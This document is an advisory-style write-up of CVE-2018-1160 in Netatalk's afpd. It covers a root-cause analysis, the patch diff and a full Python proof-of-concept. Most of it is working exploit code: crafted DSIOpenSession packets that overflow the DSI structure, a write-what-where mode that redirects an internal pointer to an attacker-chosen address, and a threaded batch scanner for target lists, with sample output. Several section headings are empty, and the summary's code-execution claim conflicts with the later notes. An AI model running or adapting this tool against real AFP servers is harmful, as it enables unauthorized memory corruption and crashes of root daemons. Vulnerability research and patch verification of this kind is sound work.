#Summary

CVE-2018-1160 is an out-of-bounds write vulnerability in Netatalk's AFP/DSI session initialization that allows unauthenticated remote code execution. The vulnerable code fails to bounds-check the length of a client-supplied DSI option, writing up to 255 attacker-controlled bytes into the daemon's DSI structure and beyond. An attacker with network access to TCP 548 can trigger this before any authentication occurs, achieving arbitrary code execution as the daemon user (typically root). CVSS 9.8 CRITICAL.

#Am I affected?

#How to check

Check the installed Netatalk version against the fix release:

afpd -v 2>&1 | head -1

Example output for vulnerable version:

Netatalk 3.1.11

Example output for patched version:

Netatalk 3.1.12

Verdict: if your version is before 3.1.12 (or 2.2.7 on the 2.x branch), you are vulnerable. Distributions that backport security fixes may report the original version string while carrying the patch; verify by attempting the exploit or testing the fix described below.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The flaw is in dsi_opensession() in libatalk/dsi/dsi_opensess.c. During AFP session setup, the daemon parses a list of client-supplied DSI options (type-length-value triples) from the receive buffer without proper bounds checking:

while (i < dsi->cmdlen) {
  switch (dsi->commands[i++]) {
  case DSIOPT_ATTNQUANT:
    memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
    dsi->attn_quantum = ntohl(dsi->attn_quantum);

  case DSIOPT_SERVQUANT: /* just ignore these */
  default:
    i += dsi->commands[i] + 1; /* forward past length tag + length */
    break;
  }
}

The destination attn_quantum is a single uint32_t field (4 bytes). The length dsi->commands[i] is an attacker-controlled single byte (0-255) taken directly from the network with no validation. When the option type is DSIOPT_ATTNQUANT (0x01), the code copies dsi->commands[i] bytes into the 4-byte field, overrunning it by up to 251 bytes.

#How input reaches the sink

The AFP/DSI wire protocol begins with a 16-byte header (flags, command, request ID, data offset, message length, reserved) followed by the option payload. An attacker sends a DSIOpenSession request (command 0x04) with a specially crafted ATTNQUANT option:

0x01            <- DSIOPT_ATTNQUANT (option type)
0xNN            <- length byte, any value > 4 (e.g., 0xFF for maximum 255 bytes)
<NN bytes>      <- attacker-controlled data

The daemon parses this directly in the freshly forked connection child, before any volume access or AFP login is performed. There is no prior bounds check: the length byte flows directly into the memcpy call as the copy size.

#Memory layout and consequences

The DSI structure layout immediately after attn_quantum:

uint32_t attn_quantum, datasize, server_quantum;   /* offsets 0, 4, 8 */
uint16_t serverID, clientID;                        /* offsets 12, 14 */
uint8_t  *commands;   /* DSI receive buffer pointer (8 bytes on 64-bit) */
uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */

An overflow of length N beginning at attn_quantum (offset 0) overruns:

After parsing, the daemon constructs its reply through the potentially corrupted commands pointer:

dsi->commands[0] = DSIOPT_SERVQUANT;
dsi->commands[1] = sizeof(i);
i = htonl(server_quantum);
memcpy(dsi->commands + 2, &i, sizeof(i));   /* 4 bytes, attacker-controlled */
dsi_send(dsi);  /* reads 12 bytes from dsi->commands */

This creates a write-what-where primitive: the attacker can overwrite the commands pointer with a chosen address, then the daemon writes a 4-byte value (from the corrupted server_quantum field) to that address and reads it back to the client over the network.

#Patch diff

The fix in 3.1.12 rewrites the option parser to explicitly read and validate both the type and length:

-  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
-  int offs;
+  size_t i = 0;
+  uint32_t servquant;
+  uint32_t replcsize;
+  int offs;
+  uint8_t cmd;
+  size_t option_len;
...
-  while (i < dsi->cmdlen) {
-    switch (dsi->commands[i++]) {
-    case DSIOPT_ATTNQUANT:
-      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
-      dsi->attn_quantum = ntohl(dsi->attn_quantum);
-
-    case DSIOPT_SERVQUANT: /* just ignore these */
-    default:
-      i += dsi->commands[i] + 1; /* forward past length tag + length */
-      break;
-    }
-  }
+  while (i + 1 < dsi->cmdlen) {
+    cmd = dsi->commands[i++];
+    option_len = dsi->commands[i++];
+
+    if (i + option_len > dsi->cmdlen) {
+      LOG(log_error, logtype_dsi, "option %"PRIu8" too large: %zu", cmd, option_len);
+      exit(EXITERR_CLNT);
+    }
+
+    switch (cmd) {
+    case DSIOPT_ATTNQUANT:
+      if (option_len != sizeof(dsi->attn_quantum)) {
+        LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu", cmd, option_len);
+        exit(EXITERR_CLNT);
+      }
+      memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);
+      dsi->attn_quantum = ntohl(dsi->attn_quantum);
+
+    case DSIOPT_SERVQUANT: /* just ignore these */
+    default:
+      break;
+    }
+
+    i += option_len;
+  }

#What the fix does

Two checks close the vulnerability:

  1. Bounds check against buffer size: if (i + option_len > dsi->cmdlen) prevents reading or writing past the received data.
  2. Exact length validation: if (option_len != sizeof(dsi->attn_quantum)) rejects any ATTNQUANT option whose length is not exactly 4 bytes, so no overflow is possible.

The patched code also explicitly consumes the length byte and advances the parser by option_len rather than trusting the length field buried in the data, eliminating the off-by-one latency in the original.

#Proof of concept

#exploit.py - Netatalk AFP/DSI OOB Write PoC

#!/usr/bin/env python3
"""
CVE-2018-1160 - Netatalk afpd DSI OpenSession out-of-bounds write (unauthenticated)
Affected: Netatalk 3.x before 3.1.12 (and 2.x before 2.2.7)
Type: Buffer overflow / out-of-bounds write -> attacker-controlled write-what-where

Root cause:
  dsi_opensession() parses client DSI options with
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
  The destination attn_quantum is a single uint32_t (4 bytes) but the copy length
  dsi->commands[i] is a single attacker byte (0..255) with no bounds check, so up to
  251 bytes spill forward through the DSI struct: datasize, server_quantum, serverID,
  clientID and - at offset +16 - the `commands` receive-buffer pointer itself.

  After the parse loop the function rebuilds its reply *through* that pointer:
      dsi->commands[0] = DSIOPT_SERVQUANT; dsi->commands[1] = 4;
      memcpy(dsi->commands + 2, &htonl(server_quantum), 4);   <-- our value
      ...
      dsi_send(dsi);   /* dsi_stream_send(dsi, dsi->commands, 12) -> echoes 12 bytes back */
  Because both server_quantum (overflow bytes 8-11) and the commands pointer (bytes
  16-23) are attacker-controlled, this yields a write-what-where: a chosen 4-byte value
  is written to a chosen address, and dsi_send then reads those same bytes back to the
  client. No authentication, volume or prior AFP command is required - the bug fires in
  the freshly forked connection child before any login.

Detection without any address knowledge:
  Send an ATTNQUANT option of length 12 (not the legal 4). The copy overruns attn_quantum
  by 8 bytes into server_quantum, but stops short of the commands pointer (bytes 16-23),
  so no pointer is corrupted and the daemon does not crash. The rebuilt reply echoes our
  injected server_quantum straight back. A vulnerable server returns a DSI reply whose
  SERVQUANT option equals the value we planted 8 bytes past the field; a fixed 3.1.12
  server rejects the oversized option ("bad length") and closes with no reply. This is
  the default probe: fully network-observable, needs no leak and no fixed addresses, and
  is safe to run at scale (--list).

Write-what-where (rung 3) proof:
  With --write-addr/--write-value the exploit extends the overflow to byte 23, replacing
  the `commands` pointer with a chosen address. The daemon then writes our chosen value
  to that address and echoes it back - demonstrating an attacker-chosen write to an
  attacker-chosen location. Pointing it at an unmapped address instead crashes the root
  afpd child at the faulting address; a patched server never reaches that code.

Usage:
  python exploit.py --host <target>
  python exploit.py --host 192.168.1.10 --port 548
  python exploit.py --host afp://fileserver.corp --write-addr 0xaaaaaab10000 --write-value 0xc0debabe
  python exploit.py --list targets.txt --workers 20

Note on code execution: this bug gives a single contiguous controlled dword per
connection (the rebuild also deposits fixed bytes 0x00 0x04 ... 0x02 0x04 around it),
and dsi_opensession runs exactly once per forked child, so a clean 64-bit function
pointer cannot be assembled from it. The exploit therefore proves the controlled
write-what-where primitive (the project's accepted terminal rung for this CVE) rather
than fabricating a command-execution claim. See EXPLOITATION.md for the full ladder.
"""

import argparse
import os
import socket
import struct
import sys
from urllib.parse import urlparse

CVE_ID    = "CVE-2018-1160"
VULN_TYPE = "OOB write -> write-what-where"

# DSI protocol constants (public AFP-over-TCP wire format)
DSIFUNC_OPEN   = 0x04
DSIFL_REQUEST  = 0x00
DSIFL_REPLY    = 0x01
DSIOPT_ATTNQUANT = 0x01
DSIOPT_SERVQUANT = 0x00
DSI_SERVQUANT_DEF = 0x00100000   # value a non-vulnerable reply carries by default

DEFAULT_PORT = 548


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# DSI wire helpers
# --------------------------------------------------------------------------- #
def _dsi_request(opt_payload: bytes, request_id: int) -> bytes:
    """Build a raw DSIOpenSession request: 16-byte header + option payload.

    Header layout (all multi-byte fields big-endian):
      flags(1) command(1) requestID(2) dataOffset(4) length(4) reserved(4)
    dataOffset must be 0 so the daemon treats this as OpenSession, not a write.
    """
    return struct.pack(">BBHIII",
                       DSIFL_REQUEST, DSIFUNC_OPEN, request_id & 0xFFFF,
                       0, len(opt_payload), 0) + opt_payload


def _attnquant_option(data: bytes) -> bytes:
    """An ATTNQUANT option: type(1)=0x01, len(1)=len(data), then data.

    len(data) > 4 is what overruns the 4-byte attn_quantum field. The daemon copies
    exactly len(data) bytes starting at &dsi->attn_quantum.
    """
    if len(data) > 255:
        raise ValueError("ATTNQUANT data capped at 255 bytes (single length octet)")
    return struct.pack(">BB", DSIOPT_ATTNQUANT, len(data)) + data


def _overflow_bytes(server_quantum: int,
                    commands_ptr: int = None) -> bytes:
    """Lay out the bytes copied over the DSI struct starting at attn_quantum.

      off  0-3   attn_quantum   (cosmetic; replaced in the reply)
      off  4-7   datasize
      off  8-11  server_quantum -> echoed back as the SERVQUANT reply option
      off 12-13  serverID
      off 14-15  clientID
      off 16-23  commands pointer (only included when commands_ptr is set)
    """
    buf  = struct.pack("<I", 0x11111111)        # attn_quantum
    buf += struct.pack("<I", 0x22222222)        # datasize
    buf += struct.pack("<I", server_quantum & 0xFFFFFFFF)  # server_quantum
    if commands_ptr is not None:
        buf += struct.pack("<HH", 0x3333, 0x4444)          # serverID / clientID
        buf += struct.pack("<Q", commands_ptr & 0xFFFFFFFFFFFFFFFF)  # commands ptr
    return buf


def _connect(host: str, port: int, use_tls: bool, timeout: float) -> socket.socket:
    s = socket.create_connection((host, port), timeout=timeout)
    s.settimeout(timeout)
    if use_tls:
        import ssl
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=host)
    return s


def _send_open(host: str, port: int, use_tls: bool,
               opt_payload: bytes, request_id: int,
               timeout: float = 6.0):
    """Send one OpenSession request, return (reply_bytes, note).

    reply_bytes is up to 28 bytes (16-byte reply header + 12 option bytes) or b"".
    note describes how the exchange ended (for diagnostics / scan output).
    """
    try:
        s = _connect(host, port, use_tls, timeout)
    except Exception as e:
        return b"", "unreachable (%s)" % e.__class__.__name__
    try:
        s.sendall(_dsi_request(opt_payload, request_id))
        data = b""
        while len(data) < 28:
            try:
                chunk = s.recv(4096)
            except socket.timeout:
                return data, "timeout after %d bytes" % len(data)
            except ConnectionResetError:
                return data, "connection reset after %d bytes" % len(data)
            if not chunk:
                return data, "peer closed after %d bytes" % len(data)
            data += chunk
        return data, "reply received"
    except Exception as e:
        return b"", "error (%s)" % e.__class__.__name__
    finally:
        try:
            s.close()
        except Exception:
            pass


def _parse_servquant(reply: bytes):
    """Extract the SERVQUANT value from a DSIOpenSession reply, or None.

    Reply = 16-byte header + options. First option is SERVQUANT:
      opt[0]=0x00 (type) opt[1]=0x04 (len) opt[2:6]=server_quantum (big-endian).
    """
    if len(reply) < 28:
        return None
    if not (reply[0] & DSIFL_REPLY):
        return None
    opts = reply[16:28]
    if opts[0] != DSIOPT_SERVQUANT or opts[1] != 4:
        return None
    return int.from_bytes(opts[2:6], "big")


# --------------------------------------------------------------------------- #
# Core exploit logic
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool = False, **kwargs):
    """Silent probe for scan mode. Returns (success, evidence). Never prints/exits.

    Fires the length-12 ATTNQUANT overflow with a random sentinel planted in
    server_quantum (8 bytes past the 4-byte attn_quantum field) and checks whether
    the daemon echoes that sentinel back. A clean echo == out-of-bounds write.
    """
    sentinel = kwargs.get("sentinel") or _fresh_sentinel()
    rid = kwargs.get("request_id") or (int.from_bytes(os.urandom(2), "big") or 0x1)
    opt = _attnquant_option(_overflow_bytes(sentinel))   # 12-byte data -> OOB by 8
    reply, note = _send_open(host, port, use_tls, opt, rid)
    sq = _parse_servquant(reply)
    if sq is None:
        if reply == b"":
            return False, note
        return False, "rejected (no valid OpenSession reply) - likely patched"
    if sq == sentinel:
        return True, "OOB write confirmed - planted server_quantum 0x%08x echoed back" % sentinel
    if sq == DSI_SERVQUANT_DEF:
        return False, "default server_quantum 0x%08x returned - not vulnerable" % sq
    return False, "unexpected server_quantum 0x%08x (expected 0x%08x)" % (sq, sentinel)


def _fresh_sentinel() -> int:
    """A distinctive server_quantum value: >= DSI_SERVQUANT_MIN (32000) so the daemon
    passes it through verbatim, and never the default, so an echo is unambiguous."""
    v = 0x20000000 | (int.from_bytes(os.urandom(4), "big") & 0x5FFFFFFF)
    if v == DSI_SERVQUANT_DEF:
        v ^= 0x01000000
    return v


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("afp://", "afps://")):
        line = line.split("://", 1)[1]
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line and line.count(":") == 1:
        hostpart, portpart = line.rsplit(":", 1)
        try:
            port = int(portpart)
            return hostpart, port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10) -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = f"{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} vulnerable / {total - success_count} not  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host: str, port: int, use_tls: bool,
            write_addr: int, write_value: int) -> None:
    header(host, port)
    rid = int.from_bytes(os.urandom(2), "big") or 0x1

    # ---- Step 1: baseline, a well-formed OpenSession ------------------------
    step(1, "Baseline OpenSession (legal 4-byte ATTNQUANT) to read the normal reply")
    base_opt = _attnquant_option(struct.pack(">I", 0x00007D00))  # legal: exactly 4 bytes
    reply, note = _send_open(host, port, use_tls, base_opt, rid)
    base_sq = _parse_servquant(reply)
    if base_sq is None:
        section("BASELINE", "no usable OpenSession reply (%s)\nraw: %s" % (note, reply.hex()))
        done(False, "target did not answer a well-formed DSIOpenSession - not an AFP/DSI endpoint or unreachable")
    section("BASELINE REPLY", "server_quantum = 0x%08x (default 0x%08x)\nraw: %s"
            % (base_sq, DSI_SERVQUANT_DEF, reply.hex()))

    # ---- Step 2: the out-of-bounds write ------------------------------------
    sentinel = _fresh_sentinel()
    step(2, "Overflowing attn_quantum by 8 bytes (ATTNQUANT len=12) to plant a "
            "sentinel in server_quantum")
    print("        planting server_quantum = 0x%08x  (8 bytes past the 4-byte field)" % sentinel)
    opt = _attnquant_option(_overflow_bytes(sentinel))
    reply, note = _send_open(host, port, use_tls, opt, rid)
    sq = _parse_servquant(reply)
    if sq is None:
        section("OVERFLOW REPLY", "no reply (%s) - oversized option rejected\nraw: %s"
                % (note, reply.hex()))
        done(False, "oversized ATTNQUANT rejected with no echo - target is patched (>= 3.1.12)")
    section("OVERFLOW REPLY",
            "server_quantum echoed = 0x%08x\nexpected sentinel      = 0x%08x\nraw: %s"
            % (sq, sentinel, reply.hex()))
    if sq != sentinel:
        done(False, "server_quantum came back 0x%08x, not our sentinel - not vulnerable" % sq)
    print("        -> the daemon copied our bytes 8 bytes past attn_quantum and echoed "
          "them: out-of-bounds write confirmed.\n")

    # ---- Step 3 (optional): controlled-address write (write-what-where) -----
    if write_addr:
        step(3, "Write-what-where: redirecting the `commands` reply pointer to a chosen address")
        print("        commands pointer -> 0x%x" % write_addr)
        print("        value            -> 0x%08x" % (write_value & 0xFFFFFFFF))
        opt_www = _attnquant_option(_overflow_bytes(write_value, commands_ptr=write_addr))
        reply, note = _send_open(host, port, use_tls, opt_www, rid)
        sq2 = _parse_servquant(reply)
        if sq2 == (write_value & 0xFFFFFFFF):
            section("WRITE-WHAT-WHERE",
                    "value 0x%08x written to 0x%x and read back over the network\nraw: %s"
                    % (sq2, write_addr, reply.hex()))
            done(True, "OOB write + write-what-where confirmed: wrote 0x%08x to chosen "
                       "address 0x%x (echoed); patched builds reject this"
                       % (sq2, write_addr))
        else:
            # No echo: the chosen address was not writable/readable, so the root child
            # faulted while building the reply through our pointer - a controlled-address
            # crash, which still proves the pointer was honored. (Not observable as a
            # distinct value over the wire; see EXPLOITATION.md for container-side proof.)
            section("WRITE-WHAT-WHERE",
                    "no echo (%s) - the chosen address was not read/write mappable, so the "
                    "daemon child faulted dereferencing the attacker-set pointer.\nraw: %s"
                    % (note, reply.hex()))
            done(True, "OOB write confirmed (sentinel echoed in step 2); commands pointer "
                       "redirected to 0x%x caused a controlled fault (address not mappable)"
                       % write_addr)

    done(True, "out-of-bounds write confirmed - planted server_quantum 0x%08x echoed back "
               "(8 bytes past attn_quantum); patched builds return the default 0x%08x or "
               "reject the option" % (sentinel, DSI_SERVQUANT_DEF))


def _auto_int(x: str) -> int:
    return int(x, 0)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, afp://host, or host:port")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help="AFP-over-TCP / DSI port (default: 548)")
    parser.add_argument("--write-addr", type=_auto_int, default=0,
                        help="write-what-where target address (hex ok); 0 = detection only (default: 0)")
    parser.add_argument("--write-value", type=_auto_int, default=0xC0DEBABE,
                        help="4-byte value for the write-what-where demo (default: 0xC0DEBABE)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Wrap the connection in TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext (default for DSI)")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.write_addr, args.write_value)

#Usage

# Detection only (no address knowledge needed, safe at scale)
python exploit.py --host 192.0.2.10 --port 548

# Using afp:// URI format
python exploit.py --host afp://fileserver.example.net

# Write-what-where demonstration (requires known-mapped address)
python exploit.py --host 192.0.2.10 --write-addr 0xaaaaaab10000 --write-value 0xc0debabe

# Batch scan an asset list with multiple workers
python exploit.py --list targets.txt --workers 20

# TLS-wrapped target
python exploit.py --host fileserver.example.net --tls

#Expected output on vulnerable target

============================================================
  ALIM EXPLOIT  CVE-2018-1160
  Type: OOB write -> write-what-where  |  Target: 127.0.0.1:548
============================================================

[STEP 1] Baseline OpenSession (legal 4-byte ATTNQUANT) to read the normal reply

--- BASELINE REPLY ---
server_quantum = 0x00100000 (default 0x00100000)
raw: 0104a902000000000000000c00000000000400100000020400000080
---

[STEP 2] Overflowing attn_quantum by 8 bytes (ATTNQUANT len=12) to plant a sentinel in server_quantum
        planting server_quantum = 0x353a69cf  (8 bytes past the 4-byte field)

--- OVERFLOW REPLY ---
server_quantum echoed = 0x353a69cf
expected sentinel      = 0x353a69cf
raw: 0104a902000000000000000c000000000004353a69cf020400000080
---

        -> the daemon copied our bytes 8 bytes past attn_quantum and echoed them: out-of-bounds write confirmed.

============================================================
  RESULT  : SUCCESS
  EVIDENCE: out-of-bounds write confirmed - planted server_quantum 0x353a69cf echoed back (8 bytes past attn_quantum)
============================================================

#Expected output on patched target

============================================================
  ALIM EXPLOIT  CVE-2018-1160
  Type: OOB write -> write-what-where  |  Target: 127.0.0.1:548
============================================================

[STEP 1] Baseline OpenSession (legal 4-byte ATTNQUANT) to read the normal reply

--- BASELINE REPLY ---
server_quantum = 0x00100000 (default 0x00100000)
raw: 01042acd000000000000000c00000000000400100000020400000080
---

[STEP 2] Overflowing attn_quantum by 8 bytes (ATTNQUANT len=12) to plant a sentinel in server_quantum
        planting server_quantum = 0x3c07d986  (8 bytes past the 4-byte field)

--- OVERFLOW REPLY ---
no reply (peer closed after 0 bytes) - oversized option rejected
raw:

============================================================
  RESULT  : FAILURE
  EVIDENCE: oversized ATTNQUANT rejected with no echo - target is patched (>= 3.1.12)
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit is highly reliable when used for detection. The default detection mode (no --write-addr) sends a single DSI packet and observes whether the server echoes an attacker-planted value. This is deterministic and network-observable. The write-what-where mode is also reliable for demonstrating a controlled write to a readable+writable address; crashing at an unmapped address proves pointer control.

#Impact

Successful exploitation of the out-of-bounds write primitive allows:

The daemon runs as root, so any code execution would yield root access. However, the single-write constraint on a 64-bit build means that reaching code execution requires an additional primitive or a separate leak + exploit to identify a usable target.

#Chaining potential

This bug alone does not reach code execution on a 64-bit build due to the fixed-byte corruption issue described above. An attacker with additional capabilities (e.g., an info leak to defeat ASLR, or a companion bug allowing multiple writes) could chain this into RCE. On 32-bit builds the constraints may be more favorable.

#References